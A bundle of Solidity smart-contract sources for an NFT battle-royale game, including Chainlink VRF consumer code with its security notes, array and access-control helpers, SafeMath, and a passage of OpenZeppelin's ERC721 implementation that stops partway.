* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
using SafeMathChainlink for uint256;
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal virtual;
/**
* @dev In order to keep backwards compatibility we have kept the user
* seed field around. We remove the use of it because given that the blockhash
* enters later, it overrides whatever randomness the used seed provides.
* Given that it adds no security, and can easily lead to misunderstandings,
* we have removed it from usage and can now provide a simpler API.
*/
uint256 constant private USER_SEED_PLACEHOLDER = 0;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(bytes32 _keyHash, uint256 _fee)
internal returns (bytes32 requestId)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash].add(1);
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(address _vrfCoordinator, address _link) public {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
import "./ERC721Tradable.sol";
import "./AddressArray.sol";
import "./Uint256Array.sol";
import "./BattleRoyaleArena.sol";
contract BattleRoyale is ERC721Tradable {
using AddressArray for AddressArray.Addresses;
using Uint256Array for Uint256Array.Uint256s;
// Structure of token data on chain
struct NFTRoyale {
bool inPlay;
uint256 placement;
}
// Maximum number of mintable tokens
uint256 public maxSupply = 0;
// current purchasable units per transaction
uint256 public unitsPerTransaction;
// Prize token URI to be set to winner
string public prizeTokenURI;
// Prize token URI to be set to winner
string public defaultTokenURI;
// time in minutes
uint256 public intervalTime;
// timestamp of last elimination
uint256 public timestamp;
// initial price per token
uint256 public price;
// Current game state
enum BATTLE_STATE {
STANDBY,
RUNNING,
ENDED
}
BATTLE_STATE public battleState;
// Look into elimination logic and how to maintain state of all NFTs in and out of play
Uint256Array.Uint256s inPlay;
Uint256Array.Uint256s outOfPlay;
// Array of purchaser addresses
AddressArray.Addresses purchasers;
// Temp mapping for NFTs awaiting game execution
mapping(uint256 => NFTRoyale) public nftRoyales;
// set to true when wanting the game to start automatically once sales hit max supply
bool public autoStart;
// set to true when wanting the game to start automatically once sales hit max supply
bool public autoPayout;
// Address of the artist
address payable public artist;
address payable public delegate;
// Set rate
uint256 public feeRate;
/*
* constructor
*/
constructor(
string memory _name,
string memory _symbol,
uint256 _price,
uint256 _units,
uint256 _supply,
bool _autoStart,
bool _autoPayout,
address payable _delegate
)
public ERC721Tradable(
_name,
_symbol,
'https://ipfs.io/ipfs/'
) {
battleState = BATTLE_STATE.STANDBY;
intervalTime = 30;
price = _price;
unitsPerTransaction = _units;
maxSupply = _supply;
autoStart = _autoStart;
autoPayout = _autoPayout;
delegate = _delegate;
}
/*
* Mint NFTs
*/
function purchase(uint256 units) external payable {
require(price > 0);
require(battleState == BATTLE_STATE.STANDBY);
require(maxSupply > 0 && totalSupply() < maxSupply);
require(units <= maxSupply - totalSupply());
require(units > 0 && units <= unitsPerTransaction);
require(bytes(defaultTokenURI).length > 0);
require(msg.value >= (price * units));
require(purchasers.getIndex(msg.sender) < 0, "Only 1 purchase per account.");
// add buyer address to list
purchasers.push(msg.sender);
for (uint256 i = 0; i < units; i++) {
uint256 tokenId = mintTo(msg.sender);
_setTokenURI(tokenId, defaultTokenURI);
inPlay.push(tokenId);
nftRoyales[tokenId] = NFTRoyale({
inPlay: true,
placement: 0
});
}
// Begin battle if max supply has been reached
if (maxSupply == totalSupply() && autoStart) {
startBattle();
}
}
/*
* Burn method
* @param {[type]} uint256 [description]
* @return {[type]} [description]
*/
function burn(uint256 _tokenId) public virtual {
require(msg.sender == ownerOf(_tokenId) || msg.sender == delegate || msg.sender == owner());
delete nftRoyales[_tokenId];
inPlay.remove(_tokenId);
_burn(_tokenId);
}
/* ==========================
* BATTLE ROYALE METHODS
* ========================== */
/*
* Method to withdraw ETH
*/
function withdraw(uint256 amount) external override virtual {
require(msg.sender == delegate || msg.sender == owner());
uint256 balance = address(this).balance;
require(amount <= balance);
if (delegate != address(0)) {
payable(delegate).transfer(amount);
} else {
msg.sender.transfer(amount);
}
}
/*
* Get Current ETH Balance from contract
*/
function getCurrentBalance() external override returns (uint256) {
require(msg.sender == delegate || msg.sender == owner());
uint256 balance = address(this).balance;
return balance;
}
/**
* get all token IDs In Play
* @return {[type]} array of IDs
*/
function getInPlay() external view returns (uint256[] memory) {
return inPlay.getAll();
}
function getInPlaySize() external view returns (uint256) {
return inPlay.size();
}
/**
* get all token IDs out of Play
* @return {[type]} array of IDs
*/
function getOutOfPlay() external view returns (uint256[] memory) {
return outOfPlay.getAll();
}
/*
* Set Interval
* @param {[type]} uint256 [description]
*/
function setIntervalTime(uint256 _intervalTime) external payable returns (uint256) {
require(msg.sender == delegate || msg.sender == owner());
intervalTime = _intervalTime;
}
/*
* isTokenInPlay - check if owner is still in player
*/
function isTokenInPlay(uint256 _tokenId) external view returns (bool) {
return nftRoyales[_tokenId].inPlay;
}
/*
* getTokenPlacement
*/
function getTokenPlacement(uint256 _tokenId) external view returns (uint256) {
return nftRoyales[_tokenId].placement;
}
/*
* set currentPrice
*/
function setPrice(uint256 _price) external payable {
require(msg.sender == delegate || msg.sender == owner());
price = _price;
}
/*
* Toggle auto-start on or off
*/
function autoStartOn(bool _autoStart) external payable {
require(msg.sender == delegate || msg.sender == owner());
autoStart = _autoStart;
}
/*
* Toggle auto-start on or off
*/
function autoPayoutOn(bool _autoPayout) external payable {
require(msg.sender == delegate || msg.sender == owner());
autoPayout = _autoPayout;
}
/*
* Set Fee Rate - aggreed rate the contract takes from the artist for initial sale
*/
function setFeeRate(uint256 _feeRate) external payable {
require(msg.sender == delegate || msg.sender == owner());
feeRate = _feeRate;
}
/*
* setUnitsPerTransaction
*/
function setUnitsPerTransaction(uint256 _units) external payable {
require(msg.sender == delegate || msg.sender == owner());
unitsPerTransaction = _units;
}
/*
* setMaxSupply
*/
function setMaxSupply(uint256 supply) external payable {
require(msg.sender == delegate || msg.sender == owner());
maxSupply = supply;
}
/*
* setdefaultTokenURI method to set the meta-data uri for the winning token to
* be set later when game has ended
* @param string IPFS meta-data uri
*/
function setDefaultTokenURI(string memory _tokenUri) external payable {
require(msg.sender == delegate || msg.sender == owner());
defaultTokenURI = _tokenUri;
}
/*
* setPrizeTokenURI method to set the meta-data uri for the winning token to
* be set later when game has ended
* @param string IPFS meta-data uri
*/
function setPrizeTokenURI(string memory _tokenUri) external payable {
require(msg.sender == delegate || msg.sender == owner());
prizeTokenURI = _tokenUri;
}
/*
* set artist
*/
function setArtist(address payable _artist) external payable {
require(msg.sender == delegate || msg.sender == owner());
artist = _artist;
}
/*
* Delegate notifier method
*/
function notifyGameEnded() internal {
BattleRoyaleArena arena = BattleRoyaleArena(payable(delegate));
arena.gameDidEnd(address(this));
}
/*
* getBattleState
* @return current state string of the game to web app
*/
function getBattleState() external view returns (string memory) {
if (battleState == BATTLE_STATE.STANDBY) {
return 'STANDBY';
}
if (battleState == BATTLE_STATE.RUNNING) {
return 'RUNNING';
}
if (battleState == BATTLE_STATE.ENDED) {
return 'ENDED';
}
}
function getBattleStateInt() external view returns (uint256) {
return uint256(battleState);
}
/*
* beginBattle
* Method to call to begin the game battle
*/
function beginBattle() external {
require(msg.sender == delegate || msg.sender == owner());
startBattle();
}
function startBattle() internal {
require(bytes(prizeTokenURI).length > 0 && inPlay.size() > 1);
battleState = BATTLE_STATE.RUNNING;
// Set to current clock
timestamp = block.timestamp;
}
/*
* executeRandomElimination trigger elimination using Chainlink VRF
*/
function executeRandomElimination(uint256 _randomNumber) external payable {
require(msg.sender == delegate || msg.sender == owner());
require(battleState == BATTLE_STATE.RUNNING);
require(inPlay.size() > 1);
uint256 i = _randomNumber % inPlay.size();
uint256 tokenId = inPlay.atIndex(i);
outOfPlay.push(tokenId);
inPlay.remove(tokenId);
NFTRoyale storage royale = nftRoyales[tokenId];
royale.inPlay = false;
royale.placement = inPlay.size() + 1;
timestamp = block.timestamp;
if (inPlay.size() == 1) {
battleState = BATTLE_STATE.ENDED;
royale = nftRoyales[tokenId];
royale.inPlay = false;
royale.placement = inPlay.size();
tokenId = inPlay.atIndex(0);
_setTokenURI(tokenId, prizeTokenURI);
notifyGameEnded();
if (autoPayout) {
executeAutoPayout();
}
}
}
/*
* calculateFee
* Uses basis points to calculate fee
*/
function calculateFee(uint amount) internal returns (uint) {
require((amount / 1000) * 1000 == amount, 'amount is too small');
return amount * feeRate / 10000;
}
/*
* payout artist
*/
function executePayout() public payable {
require(msg.sender == delegate || msg.sender == owner());
executeAutoPayout();
}
function executeAutoPayout() internal {
uint256 balance = address(this).balance;
if (artist != address(0)
&& (balance / 1000) * 1000 == balance
&& feeRate > 0) {
uint256 payout = balance - calculateFee(balance);
artist.transfer(payout);
}
balance = address(this).balance;
payable(delegate).transfer(balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
library AddressArray {
using AddressArray for Addresses;
struct Addresses {
address payable[] _items;
}
/**
* @notice push an address to the array
* @dev if the address already exists, it will not be added again
* @param self Storage array containing address type variables
* @param element the element to add in the array
*/
function push(Addresses storage self, address payable element) internal returns (bool) {
if (!exists(self, element)) {
self._items.push(element);
return true;
}
return false;
}
/**
* @notice remove an address from the array
* @dev finds the element, swaps it with the last element, and then deletes it;
* returns a boolean whether the element was found and deleted
* @param self Storage array containing address type variables
* @param element the element to remove from the array
*/
function remove(Addresses storage self, address payable element) internal returns (bool) {
int256 i = getIndex(self, element);
if (i >= 0) {
return removeByIndex(self, uint256(i));
}
return false;
}
/**
* @notice get the address at a specific index from array
* @dev revert if the index is out of bounds
* @param self Storage array containing address type variables
* @param index the index in the array
*/
function atIndex(Addresses storage self, uint256 index) internal view returns (address payable) {
require(index < size(self), "the index is out of bounds");
return self._items[index];
}
/**
* @notice get the size of the array
* @param self Storage array containing address type variables
*/
function size(Addresses storage self) internal view returns (uint256) {
return self._items.length;
}
/**
* @notice check if an element exist in the array
* @param self Storage array containing address type variables
* @param element the element to check if it exists in the array
*/
function exists(Addresses storage self, address payable element) internal view returns (bool) {
return getIndex(self, element) >= 0;
}
/**
* @notice get the array
* @param self Storage array containing address type variables
*/
function getAll(Addresses storage self) internal view returns(address payable[] memory) {
return self._items;
}
/*
* @notice get index of address
* @param self Storage array containing address type variables
* @param element the element to get index in array
*/
function getIndex(Addresses storage self, address payable element) internal view returns(int256) {
for (uint256 i = 0; i < size(self); i++){
if(self._items[i] == element) {
return int256(i);
}
uint256 j = size(self) - 1 - i;
if (self._items[j] == element) {
return int256(j);
}
if (i >= j) {
break;
}
}
return -1;
}
/*
* @notice get index of address
* @param self Storage array containing address type variables
* @param i index of element to remove
*/
function removeByIndex(Addresses storage self, uint256 i) internal returns (bool) {
if (i < size(self)) {
uint last = size(self) - 1;
if (i < last) {
self._items[i] = self._items[last];
}
self._items.pop();
return true;
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./AddressArray.sol";
contract CustomAccessControl is AccessControl, Ownable {
using AddressArray for AddressArray.Addresses;
// Array of purchaser addresses
AddressArray.Addresses users;
bytes32 public constant SUPPORT_ROLE = keccak256("DEFAULT_SUPPORT_ROLE");
function supportLevelAccess(address account) public view returns (bool) {
return hasRole(SUPPORT_ROLE, account) || adminLevelAccess(account);
}
function adminLevelAccess(address account) public view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, account) || account == owner();
}
function superAdminLevelAccess(address account) public view returns (bool) {
return account == owner();
}
function grantSupportAccess(address payable account) public onlyOwner {
if (users.exists(account)) {
revokeAccessRole(account);
} else {
users.push(account);
}
grantRole(SUPPORT_ROLE, account);
}
function grantAdminAccess(address payable account) public onlyOwner {
if (users.exists(account)) {
revokeAccessRole(account);
} else {
users.push(account);
}
grantRole(DEFAULT_ADMIN_ROLE, account);
}
function revokeAccessRole(address payable account) public payable onlyOwner returns (bool) {
if (hasRole(DEFAULT_ADMIN_ROLE, account)) {
revokeRole(DEFAULT_ADMIN_ROLE, account);
users.remove(account);
return true;
} else if (hasRole(SUPPORT_ROLE, account)) {
users.remove(account);
revokeRole(SUPPORT_ROLE, account);
return true;
}
return false;
}
function getAddressRole(address account) external returns (string memory) {
if (hasRole(DEFAULT_ADMIN_ROLE, account)) {
return 'ADMIN_ROLE';
} else if (hasRole(SUPPORT_ROLE, account)) {
return 'SUPPORT_ROLE';
}
return 'UNASSIGNED';
}
function getAllAccessAddresses() external view onlyOwner returns(address payable[] memory) {
return users.getAll();
}
function bytes32ToString(bytes32 _bytes32) internal pure returns (string memory) {
uint8 i = 0;
while(i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlySupport() {
require(supportLevelAccess(_msgSender()), "Caller does not have access");
_;
}
modifier onlyAdmin() {
require(adminLevelAccess(_msgSender()), "Caller does not have access");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathChainlink {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed,
address _requester, uint256 _nonce)
internal pure returns (uint256)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(
bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title ERC721Tradable
* ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality.
*/
contract ERC721Tradable is ERC721, Ownable {
using Strings for string;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
constructor(
string memory _name,
string memory _symbol,
string memory _baseURI
) public ERC721(_name, _symbol) {
_setBaseURI(_baseURI);
}
/**
* Fallback function to receive ETH
*/
receive() external payable {}
/*
* Method to withdraw ETH
*/
function withdraw(uint256 amount) external virtual onlyOwner {
uint256 balance = address(this).balance;
require(amount <= balance);
msg.sender.transfer(amount);
}
/*
* Get Current ETH Balance from contract
*/
function getCurrentBalance() external virtual onlyOwner returns (uint256) {
uint256 balance = address(this).balance;
return balance;
}
/**
* @dev Mints a token to an address with a tokenURI.
* @param _to address of the future owner of the token
*/
function mintTo(address _to) internal returns (uint256) {
_tokenIds.increment();
uint256 newTokenId = _tokenIds.current();
_safeMint(_to, newTokenId);
return newTokenId;
}
/*
* setTokenURI
* @param {[type]} uint256 [description]
* @param {[type]} string [description]
*/
function setTokenURI(uint256 _tokenId, string memory _tokenURI) public onlyOwner payable {
_setTokenURI(_tokenId, _tokenURI);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
library Uint256Array {
using Uint256Array for Uint256s;
struct Uint256s {
uint256[] _items;
}
/**
* @notice push an uint256 to the array
* @dev if the uint256 already exists, it will not be added again
* @param self Storage array containing uint256 type variables
* @param element the element to add in the array
*/
function push(Uint256s storage self, uint256 element) internal returns (bool) {
if (!exists(self, element)) {
self._items.push(element);
return true;
}
return false;
}
/**
* @notice remove a uint256 from the array
* @dev finds the element, swaps it with the last element, and then deletes it;
* returns a boolean whether the element was found and deleted
* @param self Storage array containing uint256 type variables
* @param element the element to remove from the array
*/
function remove(Uint256s storage self, uint256 element) internal returns (bool) {
int256 i = getIndex(self, element);
if (i >= 0) {
return removeByIndex(self, uint256(i));
}
return false;
}
/**
* @notice get the uint256 at a specific index from array
* @dev revert if the index is out of bounds
* @param self Storage array containing uint256 type variables
* @param index the index in the array
*/
function atIndex(Uint256s storage self, uint256 index) internal view returns (uint256) {
require(index < size(self), "the index is out of bounds");
return self._items[index];
}
/**
* @notice get the size of the array
* @param self Storage array containing uint256 type variables
*/
function size(Uint256s storage self) internal view returns (uint256) {
return self._items.length;
}
/**
* @notice check if an element exist in the array
* @param self Storage array containing uint256 type variables
* @param element the element to check if it exists in the array
*/
function exists(Uint256s storage self, uint256 element) internal view returns (bool) {
return getIndex(self, element) >= 0;
}
/**
* @notice get the array
* @param self Storage array containing uint256 type variables
*/
function getAll(Uint256s storage self) internal view returns(uint256[] memory) {
return self._items;
}
/*
* @notice get index of uint256
* @param self Storage array containing uint256 type variables
* @param element the element to get index in array
*/
function getIndex(Uint256s storage self, uint256 element) internal view returns(int256) {
for (uint256 i = 0; i < size(self); i++){
if(self._items[i] == element) {
return int256(i);
}
uint256 j = size(self) - 1 - i;
if (self._items[j] == element) {
return int256(j);
}
if (i >= j) {
break;
}
}
return -1;
}
/*
* @notice get index of uint256
* @param self Storage array containing uint256 type variables
* @param i index of element to remove
*/
function removeByIndex(Uint256s storage self, uint256 i) internal returns (bool) {
if (i < size(self)) {
uint last = size(self) - 1;
if (i < last) {
self._items[i] = self._items[last];
}
self._items.pop();
return true;
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
